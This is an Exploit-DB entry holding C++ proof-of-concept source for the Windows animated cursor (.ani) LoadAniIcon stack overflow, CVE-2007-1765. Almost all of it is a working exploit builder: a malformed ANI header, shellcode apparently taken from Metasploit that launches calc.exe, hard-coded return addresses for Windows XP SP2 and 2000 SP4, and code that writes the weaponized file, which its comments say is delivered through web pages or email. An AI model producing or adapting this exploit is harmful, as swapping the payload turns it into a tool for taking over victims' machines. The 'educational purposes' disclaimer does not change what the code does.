Exploit-DB #3617
Description: Microsoft Windows - Animated Cursor '.ani' Local Stack Overflow
Type: local
Platform: windows
Date: 2007-03-31
Author: devcode

Exploit:
/*
* Copyright (c) 2007 devcode
*
*
*			^^ D E V C O D E ^^
*
* Windows .ANI LoadAniIcon Stack Overflow
* [CVE-2007-1765]
*
*
* Description:
*    A vulnerability has been identified in Microsoft Windows,
*	  which could be exploited by remote attackers to take complete
*	  control of an affected system. This issue is due to a stack overflow
*    error within the "LoadAniIcon()" [user32.dll] function when rendering
*    cursors, animated cursors or icons with a malformed header, which could
*	  be exploited by remote attackers to execute arbitrary commands by
*    tricking a user into visiting a malicious web page or viewing an email
*    message containing a specially crafted ANI file.
*
* Hotfix/Patch:
*    None as of this time.
*
* Vulnerable systems:
*	  Microsoft Windows 2000 Service Pack 4
*	  Microsoft Windows XP Service Pack 2
*	  Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
*	  Microsoft Windows XP Professional x64 Edition
*	  Microsoft Windows Server 2003
*	  Microsoft Windows Server 2003 (Itanium)
*	  Microsoft Windows Server 2003 Service Pack 1
*	  Microsoft Windows Server 2003 Service Pack 1 (Itanium)
*	  Microsoft Windows Server 2003 x64 Edition
*	  Microsoft Windows Vista
*
*	  Microsoft Internet Explorer 6
*	  Microsoft Internet Explorer 7
*
*    This is a PoC and was created for educational purposes only. The
*	  author is not held responsible if this PoC does not work or is
*	  used for any other purposes than the one stated above.
*
* Notes:
*	  For this to work on XP SP2 on explorer.exe, DEP has to be turned
*	  off.
*
*/
#include <iostream>
#include <windows.h>

/* ANI Header */
unsigned char uszAniHeader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";

/* Shellcode - metasploit exec calc.exe ^^ */
unsigned char uszShellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";

char szIntro[] =
"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
"\t\t\tdevcode (c) 2007\n"
"[+] Targets:\n"
"\t(1) Windows XP SP2\n"
"\t(2) Kernel32.dll (ExitProcess)\n"
"\t(3) Windows 2K SP4\n\n"
"Usage: ani.exe <target> <file>";

typedef struct {
	const char *szTarget;
	unsigned char uszRet[5];
} TARGET;

TARGET targets[] = {
	{ "Windows XP SP2", "\xC9\x29\xD4\x77" },				/* call esp */
	{ "Kernel32.dll (ExitProcess)", "\x90\x90\x90\x90" },	/* ExitProcess */
	{ "Windows 2K SP4", "\x29\x4C\xE1\x77" }
};

int main( int argc, char **argv ) {
	char szBuffer[1024];
	FILE *f;
	void *pExitProcess[4];

	if ( argc < 3 ) {
		printf("%s\n", szIntro );
		return 0;
	}

	if ( atoi( argv[1] ) == 1 ) {
		printf("[+] Getting ExitProcess address...\n");
		*pExitProcess = GetProcAddress( GetModuleHandle( "kernel32.dll" ), 
"ExitProcess" );
		if ( pExitProcess == NULL ) {
			printf("[-] Cannot get ExitProcess address\n");
			return 0;
		}
		memcpy( targets[1].uszRet, pExitProcess, 4 );
	}

	printf("[+] Creating ANI header...\n");
	memset( szBuffer, 0x90, sizeof( szBuffer ) );
	memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );

	printf("[+] Copying shellcode...\n");
	memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
	memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 );

	f = fopen( argv[2], "wb" );
	if ( f == NULL ) {
		printf("[-] Cannot create file\n");
		return 0;
	}

	fwrite( szBuffer, 1, 1024, f );
	fclose( f );
	printf("[+] .ANI file succesfully created!\n");
	return 0;
}

// milw0rm.com [2007-03-31]